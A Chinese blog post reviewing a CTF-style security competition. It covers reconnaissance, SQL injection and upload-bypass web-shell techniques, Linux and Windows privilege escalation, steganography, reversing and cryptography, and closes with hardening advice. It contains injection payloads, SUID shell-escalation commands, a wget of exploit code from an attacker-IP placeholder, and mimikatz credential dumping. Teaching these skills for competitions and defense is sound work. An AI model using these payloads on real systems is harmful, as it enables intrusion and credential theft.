news 2026/9/7 12:41:16

网络安全竞赛实战复盘:从信息收集到权限提升的完整攻防链路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网络安全竞赛实战复盘:从信息收集到权限提升的完整攻防链路

1. 从“赛题”到“实战”:一次典型的中职网络安全竞赛深度复盘

最近整理资料,翻到了2022年那场中职组网络安全国赛选拔赛的赛题。虽然比赛已经过去一段时间,但里面的技术点和攻防思路,放到今天来看依然非常经典,甚至可以说,它精准地勾勒出了一个初级网络安全从业者(或者说,一个合格的CTF选手)需要掌握的核心技能图谱。这不仅仅是一套考题,更像是一份浓缩的“实战能力清单”。今天,我就以一个过来人和技术复盘者的视角,带大家重新拆解这套赛题背后的逻辑,把那些零散的“考点”串联成一条完整的、可复现的渗透测试与防御加固链路。无论你是正在备赛的学生,还是刚踏入网络安全领域的新人,相信这篇深度复盘都能帮你把书本上的理论,真正落到“手”上。

这套赛题通常不会公开完整的题目描述,但根据其“国赛选拔赛”的定位和常见的竞赛模式,我们可以推断它必然覆盖了Web渗透、系统安全、密码学、隐写术、逆向工程、漏洞利用等多个维度,并且环境会横跨WindowsLinux两大平台。它的核心目的,是考察选手在模拟的真实网络环境中,综合运用知识、工具和逻辑思维,发现漏洞、获取权限、找到关键信息(也就是CTF中的“flag”)的能力。下面,我们就抛开抽象的“赛题”二字,直接进入实战场景,看看如果给你这样一个混合靶场,你应该如何思考,如何操作,以及会踩到哪些坑。

2. 环境初探与信息收集:一切攻击的起点

面对一个未知的竞赛环境,高手和新手的第一个分水岭就在于信息收集的广度和深度。很多新人拿到IP地址就急着上扫描器狂扫端口,这其实效率很低,且容易触发防护告警。一个系统的、有层次的信息收集流程,应该像侦探办案一样,由外及内,由浅入深。

2.1 网络拓扑与存活主机发现

通常,赛题会提供一个或多个IP地址段。第一步不是直接扫描80、443端口,而是先确定“战场”有多大。

使用Nmap进行主机发现:

# 使用Ping扫描快速发现存活主机 nmap -sn 192.168.1.0/24 # 更隐蔽的方式:不使用ICMP Ping,而是扫描常见的TCP端口 nmap -PS22,80,443 -T4 192.168.1.0/24 --open

这里有个关键点:-sn参数是Ping扫描,但很多服务器禁用了ICMP回应。所以,更稳妥的方式是使用-PS(TCP SYN Ping)去探测一些大概率开放的端口,比如22(SSH)、80(HTTP)、443(HTTPS)。--open参数只显示开放了端口的IP,让结果更清晰。

实战心得:在竞赛环境中,网络规模通常不大,但可能会有一些“跳板机”或“隔离网段”。如果直接扫描整个C段没有发现目标,要留意题目描述中是否暗示了特定的IP或主机名。有时,目标可能就在给定的一个IP上,但开启了主机防火墙,需要更精细的端口扫描策略。

2.2 端口扫描与服务指纹识别

发现存活主机后,下一步就是对目标IP进行全端口扫描和服务识别。这是信息收集的核心。

# 全面扫描,识别服务版本,使用默认脚本进行初步探测 nmap -sV -sC -p- -T4 目标IP -oA nmap_full_scan

参数解释:

  • -sV: 探测服务/版本信息。
  • -sC: 使用默认的Nmap脚本引擎(NSE)进行扫描,能发现一些基础漏洞或获取更多信息(如HTTP标题、robots.txt)。
  • -p-: 扫描所有65535个端口。
  • -T4: 设置扫描速度等级(0-5),4是一个平衡了速度和隐蔽性的选择。
  • -oA: 将结果以三种格式(普通、XML、Grepable)同时输出,便于后续分析和报告编写。

扫描结果可能会是这样的:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.60 8080/tcp open http-proxy

拿到这个结果,你的大脑就应该开始自动关联了:OpenSSH 7.9p1是否存在已知漏洞?Apache 2.4.38的配置是否有问题?MySQL 5.5.60是一个很老的版本,可能存在哪些漏洞?8080端口跑的是什么服务?是Tomcat、Jenkins还是某个Web应用?

避坑指南:不要完全依赖Nmap的版本识别。有时它识别出的版本号可能不准确,或者服务本身被修改过Banner。对于关键服务(如Web),一定要用浏览器或curl命令亲自访问验证。例如,访问8080端口,可能发现是一个Apache Tomcat/8.5.70的管理界面,这和Nmap识别的“http-proxy”就完全不同了。

2.3 Web路径与敏感文件探测

对于开放的80和8080端口,Web渗透是重头戏。在直接进行漏洞测试前,先进行目录和文件枚举。

使用Dirsearch或Gobuster:

# 使用Dirsearch(Python) python3 dirsearch.py -u http://目标IP -e php,html,js,bak,txt,zip,sql -t 50 # 使用Gobuster(Go语言,速度更快) gobuster dir -u http://目标IP:8080 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak

这个阶段的目标是发现:

  1. 后台登录入口/admin,/login,/manage
  2. 配置文件备份.bak,.old,.swp(vim交换文件)等。
  3. 敏感信息文件robots.txt,.git/,.DS_Store,phpinfo.php
  4. API接口或测试页面/api/v1/,/test.php

一个经典案例:在一次模拟赛中,扫描发现了一个/phpinfo.php文件。访问后不仅暴露了PHP版本、安装的模块等系统信息,更重要的是在$_SERVER变量里,直接显示了网站的绝对路径(如/var/www/html)和数据库连接密码(如果配置不当)。这几乎等于把钥匙放在了门口的地垫下。

经验之谈:字典的选择至关重要。不要只用一个通用字典。可以组合使用,比如先快速扫一遍common.txt,再针对发现的框架(如WordPress、Laravel)使用专用字典。同时,注意观察HTTP状态码。403(禁止访问)和401(需要认证)的目录,往往后面藏着好东西,只是需要你绕过认证。

3. Web渗透实战:从漏洞发现到GetShell

假设通过信息收集,我们锁定了一个运行在80端口的Web应用,并且发现了登录页面和疑似上传点。这是CTF和真实渗透中最常见的场景。

3.1 漏洞挖掘:SQL注入与身份绕过

场景一:登录框SQL注入一个典型的登录页面,后端SQL语句可能是:

SELECT * FROM users WHERE username='$username' AND password='$password'

如果用户名和密码输入框没有经过严格过滤,就可能存在注入。测试时,不要一上来就用' or '1'='1这种“万能密码”。更专业的做法是使用Burp Suite抓包,然后系统性地测试。

  1. 判断注入点:在用户名处输入admin',观察返回错误(如SQL语法错误)还是正常的“用户不存在”。如果报错,说明可能存在注入。
  2. 判断字段数:使用' order by 5--来试探查询结果的列数,直到页面返回错误。假设order by 4正常,order by 5错误,说明有4列。
  3. 联合查询获取数据:构造Payload:' union select 1,2,3,4--。查看页面哪个位置回显了数字(比如2和3),这些位置就可以用来显示我们想查询的数据。
  4. 获取数据库信息:将回显位替换为数据库函数,如:' union select 1, database(), user(), version()--。这样就能一次性拿到当前数据库名、数据库用户和版本。
  5. 拖取数据:知道了库名(假设是webapp),接下来就可以查表名、列名,最终拿到管理员账号密码。
    ' union select 1,table_name,3,4 from information_schema.tables where table_schema='webapp'-- ' union select 1,column_name,3,4 from information_schema.columns where table_name='users'-- ' union select 1,username,password,4 from users--

为什么这么做?这种逐步推导的过程,比用自动化工具(如sqlmap)直接跑,更能让你理解漏洞的原理和利用链。在比赛中,有时会有WAF(Web应用防火墙)拦截自动化工具,手工注入是必备技能。而且,密码很可能不是明文,而是MD5或SHA1哈希,你需要将其复制到在线破解网站或使用hashcat进行破解。

场景二:文件上传GetShell发现一个头像上传功能,只允许上传.jpg,.png图像文件。这是最经典的文件上传漏洞场景。

  1. 前端绕过:直接修改HTML或使用Burp Suite拦截请求,将文件扩展名改为.php。但通常后端也会检查,所以这招往往无效。
  2. 黑名单绕过:尝试一些变种,如.phtml,.php5,.phps,.pht。如果服务器配置了将这些后缀也解析为PHP,就能成功。
  3. 大小写绕过.PHP,.Php
  4. 空格/点号绕过:在文件名后加空格或点号,如shell.php.shell.php(注意末尾空格)。有些系统在处理文件名时会自动去除末尾的点或空格,从而让.php得以保留。
  5. 双写后缀绕过shell.pphphp,如果过滤逻辑是简单地删除php字符串,处理后就会变成shell.php
  6. 配合解析漏洞:这是杀手锏。对于Apache服务器,如果存在文件解析漏洞(如CVE-2017-15715,但更常见的是配置问题),上传shell.php.jpg可能会被解析为PHP。更经典的是IIS 6.0的目录解析漏洞(/upload/shell.asp;.jpg会被当作ASP执行)和文件解析漏洞(*.asp;.jpg)。
  7. 内容检测绕过:如果服务器检查文件内容(如图片头),可以使用ExifTool工具,将PHP代码写入图片的EXIF信息中,生成一个“图片马”。然后配合文件包含漏洞(LFI)来执行。例如,上传shell.jpg,里面包含``。再找到一个文件包含点,比如index.php?page=upload/shell.jpg,这样服务器包含这个图片时,其中的PHP代码就会被执行。

实战踩坑记录:我曾遇到一个上传点,前端和后端都做了严格检查。最后发现,它只检查了HTTP请求头中的Content-Type。通过Burp Suite将Content-Type: application/php改为Content-Type: image/jpeg,就轻松绕过了。所以,永远不要只测试一种绕过方式,要从客户端到服务器端,对整个校验链条进行测试。

3.2 权限提升与横向移动

通过文件上传拿到一个WebShell(例如,用中国菜刀或蚁剑连接),通常你获得的权限是Web服务进程的权限,在Linux下可能是www-data用户,在Windows下可能是NETWORK SERVICEIIS APPPOOL\DefaultAppPool。这是一个受限制的权限,下一步就是提权

Linux系统提权思路:

  1. 信息收集:在WebShell里执行命令,收集系统信息。
    whoami id uname -a cat /etc/passwd sudo -l # 查看当前用户可以以root身份执行哪些命令,这是最快捷的提权方式 find / -perm -u=s -type f 2>/dev/null # 查找SUID权限的文件
  2. 利用SUID文件:如果发现/usr/bin/find/usr/bin/nmap(旧版本)、/usr/bin/vim等命令具有SUID权限,并且属于root,就可以利用它们来提权。例如,对于find
    touch /tmp/rootshell /usr/bin/find /tmp/rootshell -exec /bin/sh \; # 或者 /usr/bin/find . -exec /bin/bash -p \;
    执行后,你就会获得一个root权限的shell。
  3. 利用内核漏洞:使用uname -a查看内核版本,然后搜索对应的本地提权EXP。例如著名的DirtyCow(CVE-2016-5195)。下载EXP源码,在目标机器上编译执行(需要gcc)。
    # 在攻击机本地编译,然后上传 gcc -pthread dirty.c -o dirty -lcrypt # 或者在目标机上下载编译(如果允许) wget http://攻击机IP/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty
    注意:在真实比赛或授权测试中,内核漏洞利用可能造成系统不稳定甚至崩溃,要谨慎使用,最好在最后阶段或独立测试环境中尝试。

Windows系统提权思路:

  1. 系统信息收集
    systeminfo whoami /priv # 查看特权信息 net user net localgroup administrators
  2. 利用服务权限:检查是否有服务是由当前用户安装或配置的,并且该服务以SYSTEM权限运行。如果可以修改服务的二进制文件路径或相关配置,重启服务后就能以SYSTEM权限执行我们的恶意程序。使用accesschk.exe(SysInternals工具套件中的)或sc命令来查询服务配置。
  3. 利用AlwaysInstallElevated:如果注册表项HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedHKEY_LOCAL_MACHINE\...\AlwaysInstallElevated都设置为1,那么任何MSI安装包都将以高权限运行。我们可以制作一个包含后门的MSI文件来提权。
  4. 利用可执行文件的弱权限:查找当前用户有“完全控制”权限的系统目录或程序文件。例如,如果对C:\Program Files\SomeApp\some.exe有写权限,就可以替换它为我们的后门,等待系统或管理员再次运行它。
  5. 内核漏洞:同样,根据systeminfo输出的系统版本和补丁信息,寻找公开的提权EXP,如PrintNightmare(CVE-2021-1675/CVE-2021-34527)、CVE-2021-36934等。

横向移动:在拿到一台机器的权限后,需要在网络内寻找其他目标。关键动作包括:

  • 抓取密码哈希:在Linux上查看/etc/shadow文件;在Windows上使用mimikatz工具抓取内存中的明文密码或哈希(sekurlsa::logonpasswords)。
  • 查看历史命令和配置文件~/.bash_history,~/.ssh/config,/etc/hosts,寻找连接其他服务器的线索。
  • ARP扫描/端口扫描:从已控机器对内网其他IP进行扫描,发现新的攻击面。

4. 赛题中的“非Web”考点:隐写、逆向与密码学

一场全面的网络安全竞赛,绝不会只有Web。这些“非Web”题目考验的是选手更广泛的技术视野和耐心。

4.1 隐写术:藏在眼皮底下的信息

隐写术的题目通常给一张图片、一段音频或一个视频文件,flag就藏在里面。解题工具链很重要。

  1. 图片隐写

    • 基础检查:用file命令查看真实文件类型。用binwalkforemost分析文件内是否嵌入了其他文件。
    • 元数据:用exiftool查看图片的EXIF信息,flag可能就在注释(Comment)里。
    • LSB隐写:使用Stegsolve工具,分析图片每个颜色通道的最低有效位(LSB),可能会拼出二维码或文字。
    • 二维码修复:有时图片被破坏,需要先用PS或GIMP调整对比度、亮度,或者修复二维码的定位点,才能被扫码工具识别。
    • 文件结构:用010 EditorWinHex直接以十六进制查看文件,在文件头(如FF D8 FF E0为JPEG)和文件尾(FF D9)之间,可能附加了额外的数据,直接复制出来可能就是一个ZIP压缩包或一段文本。
  2. 音频隐写

    • 频谱分析:用Audacity打开音频文件,切换到频谱图视图,有时flag会以文字或摩斯电码的形式显示在频谱上。
    • 波形分析:观察波形是否规律,可能对应二进制(高振幅为1,低振幅为0)。
    • 低速播放/反转:尝试用Audacity将音频速度放慢或反转播放,可能会听到隐藏的语音信息。
  3. 视频隐写:本质是提取每一帧图片,然后按图片隐写的方法处理。可以用ffmpeg提取帧:

    ffmpeg -i hidden_video.mp4 -r 1 -f image2 frame_%04d.png

解题心态:隐写题往往需要脑洞和耐心。一个文件用所有你知道的工具都试一遍,是常规操作。有时flag可能被分割成多份,藏在不同地方,需要组合起来。

4.2 逆向工程:与程序的对话

逆向题目通常给一个Windows的exe或Linux的elf可执行文件,运行后可能需要输入正确的密码才能得到flag。你需要用反汇编工具(如IDA Pro, Ghidra, radare2)打开它,理解其逻辑。

  1. 静态分析:直接查看反汇编代码或反编译后的伪代码(Ghidra和IDA的F5功能很好用)。寻找核心的字符串比较函数(如strcmp)、关键跳转(jz,jnz)和输出成功/失败信息的代码块。
  2. 动态调试:使用OllyDbg(Windows)或gdb(Linux)进行调试。在关键函数入口下断点,单步执行,观察寄存器和内存值的变化。特别是输入密码后,程序是如何处理你的输入,并与正确的flag进行比较的。
  3. 常见套路
    • 简单比较:程序内部有一个硬编码的字符串,直接与你的输入比较。
    • 运算变换:你的输入会经过一个算法(可能是异或、加减、base64编码等)变换,然后与另一个字符串比较。你需要逆向这个算法。
    • 迷宫/游戏题:程序是一个小游戏,你需要通过修改内存或理解游戏规则来“通关”获得flag。
  4. 工具辅助:对于简单的算法,可以尝试用Python复现其加密过程,然后暴力破解或逆向计算。对于复杂的程序,动态调试时修改关键跳转的标志位(ZF寄存器),可以直接让程序走向“成功”分支。

经验分享:逆向题的第一步永远是直接运行程序,看看它有什么行为。然后扔到IDA里,先看main函数或start函数,搜索字符串窗口(Shift+F12)找“success”、“fail”、“flag”、“congratulation”等关键词,能快速定位到关键代码区域。

4.3 密码学:不只是加解密

密码学题目不一定是让你破解一个RSA加密,更多是考察对编码和古典密码的识别。

  1. 编码识别与转换
    • Base64:字符集包含A-Za-z0-9+/=,末尾常有=填充。在线工具或命令行echo “字符串” | base64 -d即可解码。
    • Hex(十六进制):形如666c61670x666c6167echo “666c6167” | xxd -r -p
    • URL编码%后跟两个十六进制数,如%66%6c%61%67
    • 莫斯电码:由.-组成,用空格分隔字符。
    • 培根密码:将明文用A/B组合表示。
    • 键盘移位密码:观察字符在键盘上的位置关系。
  2. 古典密码
    • 凯撒密码:字母移位。可以用工具暴力尝试所有25种可能。
    • 栅栏密码:按一定规则重新排列字符。
    • 维吉尼亚密码:需要密钥。如果不知道密钥,可以尝试用Kasiski试验或弗里德曼测试来推测密钥长度,然后频率分析。
  3. 现代密码
    • RSA:如果给了一对公钥(n, e)和密文c,并且n不大,可以尝试用yafufactordb.com网站分解n得到pq,然后计算私钥d,最后解密。公式是:m = c^d mod n
    • AES/DES:通常需要密钥或IV(初始化向量)。密钥可能藏在图片里、源代码注释里,或者通过其他题目的flag获得。

解题技巧:遇到一串乱码,先尝试最常见的Base64解码。如果解出来还是乱码,看看是不是经过了多重编码(比如Base64 -> Hex -> 凯撒)。使用CyberChef这个“网络瑞士军刀”工具,可以方便地拖拽各种编码、加密模块进行自动化尝试。

5. 防御视角下的反思:从攻击中学习加固

打完一套CTF赛题,如果只停留在“拿到flag”的层面,那就浪费了一半的价值。更重要的价值在于,从攻击者的成功路径反推,思考如何防御。

5.1 Web应用安全加固清单

针对我们前面演练的攻击,一个安全的Web应用至少应该做到:

  1. 输入验证与过滤
    • SQL注入:使用参数化查询(Prepared Statements)或ORM框架,绝对不要拼接SQL字符串。如果因历史原因必须拼接,要对所有用户输入进行严格的转义。
    • 文件上传:使用白名单机制,只允许特定的、安全的文件扩展名(如.jpg,.png)。不要使用黑名单,永远有办法绕过。同时,文件上传后要重命名(如使用UUID),避免被直接访问。将上传目录设置为不可执行(在Nginx/Apache中配置),或者将文件存储在云对象存储服务中。
    • XSS(跨站脚本):对所有输出到页面的用户数据进行HTML实体编码。使用Content-Security-Policy头来限制页面可以加载和执行哪些资源。
  2. 权限最小化
    • Web服务器进程(如www-data)的权限应该被严格限制,不能有sudo权限,不能读取系统敏感文件。
    • 数据库连接使用专用账号,且该账号只拥有当前应用所需的最小权限(SELECT,INSERT,UPDATE等),不要用root账号。
  3. 错误处理
    • 自定义错误页面,避免将详细的错误信息(如数据库错误、堆栈跟踪)直接返回给用户。这些信息是攻击者的“路标”。
  4. 依赖与配置安全
    • 定期更新框架、库和中间件(如Apache, Nginx, PHP, MySQL)到最新稳定版,修复已知漏洞。
    • 关闭不必要的服务和端口。检查服务器配置文件,禁用目录浏览、服务器签名等。

5.2 系统层安全加固要点

  1. 定期更新与补丁管理:这是防御内核提权漏洞最有效的方法。建立自动化的补丁更新流程。
  2. 权限与访问控制
    • 遵循最小权限原则,为每个服务创建独立的低权限用户。
    • 定期审计SUID/SGID文件,移除不必要的特权文件。使用find / -perm -u=s -type f 2>/dev/null命令检查。
    • 严格控制sudo权限,使用visudo命令编辑配置,仅允许特定用户以root身份运行特定的必要命令。
  3. 日志与监控
    • 启用并集中管理系统日志(如配置rsyslog发送到日志服务器)。重点监控认证日志(/var/log/auth.log)、Web访问日志和错误日志。
    • 部署HIDS(主机入侵检测系统),如OSSEC,监控文件完整性、异常进程和可疑登录行为。
  4. 网络隔离与防火墙
    • 使用防火墙(如iptablesfirewalld)严格限制入站和出站连接。数据库端口(3306, 5432等)绝不应暴露在公网。
    • 对内部网络进行分段,即使攻击者突破Web服务器,也难以直接访问核心数据库或管理网络。

5.3 安全开发与运维流程

真正的安全是“设计”出来的,而不是“修补”出来的。

  1. 安全开发生命周期:在需求、设计、编码、测试、部署每个环节都融入安全考量。对开发人员进行安全编码培训。
  2. 代码审计与渗透测试:上线前,进行白盒代码审计和黑盒渗透测试。CTF中的很多技巧,就是渗透测试的常用手段。
  3. 备份与恢复:定期备份数据和系统配置,并测试恢复流程。这不仅能应对攻击(如勒索软件),也能应对误操作和硬件故障。

回过头看2022年的那套赛题,它就像一份精心设计的“体检套餐”,几乎触及了上述所有安全薄弱点。通过实战化的解题过程,你不仅能学会如何攻击,更能深刻理解每一个漏洞产生的原因和修复方法。这才是以赛促学、攻防相长的真正意义。下次当你再看到“网络安全竞赛”这几个字时,希望你的脑海里浮现的不再是一道道孤立的题目,而是一张纵横交错、从信息收集到权限维持的完整网络攻防地图。这张地图,才是你从赛场走向真实战场最宝贵的行囊。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/30 16:50:58

太原伸缩门厂家

太原伸缩门厂家怎么选?这些细节你必须知道!最近帮朋友选购伸缩门,发现市场上的选择实在太多了,一不小心就容易踩坑。今天就来聊聊我的经验,希望能帮到正在纠结的你。选对厂家真的很重要!首先,我…

作者头像 李华
网站建设 2026/8/30 19:33:39

AI项目别急着扩容:先跑通评估流程再做容量规划

先说一个判断:绝大多数 AI 项目的问题,并不是算力不够,而是还没有一套完整的评估流程,就急着采购 GPU、扩容集群、搭建大规模的推理平台。这个标题 "Dont Scale Yet, Because of AI" 本身就代表了一种工程态度——在模型…

作者头像 李华
网站建设 2026/8/30 16:53:47

SpringBoot中使用Filter(过滤器)

目录1. 入门1.1 编写实体类1.2 编写过滤器1.3 编写Controller1.4 在启动类上开启servlet组件扫描(ServletComponentScan)1.5 测试并观察控制台打印情况2. 进阶2.1 过滤器简单介绍2.2 编写过滤器类2.3?编写过滤器配置类2.4?Controller和实体类和之前一样…

作者头像 李华
网站建设 2026/8/31 1:57:28

Python实现自动化网页操作步骤

实现自动化网页操作步骤时间更新至, 二零二三年, 六月五日, 十一点, 四十五分, 三十秒 , 作者为安乐常。这篇文章着重讲怎样达成自动化网页操作, 文中存有详尽的流程步骤以及代码示例, 对于我们的学习或者工作具备一定的助力, 有需求的朋友能够参照一下。1 准备推荐使用浏览器1…

作者头像 李华
网站建设 2026/8/31 0:41:26

WAIC 2023|达闼机器人发布业界首个机器人多模态大模型RobotGPT

如以其为主导的AI大模型技术正于改变天地之间。于国内范畴之内, 百亿参数、千亿参数乃至万亿参数的大模型好似雨后春笋一样纷纷冒出来, “百模大战”已然拉开了帷幕。达闼机器人, 于2023世界人工智能大会(WAIC 2023)时, 举办了新品发布会, 主题为“行业大…

作者头像 李华
网站建设 2026/8/31 5:07:47

C语言函数指针与回调函数实战:从计算器重构到qsort模拟实现

1. 项目概述:从“硬编码”到“函数指针”的优雅转身 做C语言开发,尤其是涉及到算法、数据处理或者需要高度模块化的场景时,我们常常会写出这样的代码:一个庞大的 switch-case 或者一堆 if-else 语句,里面塞满了各种…

作者头像 李华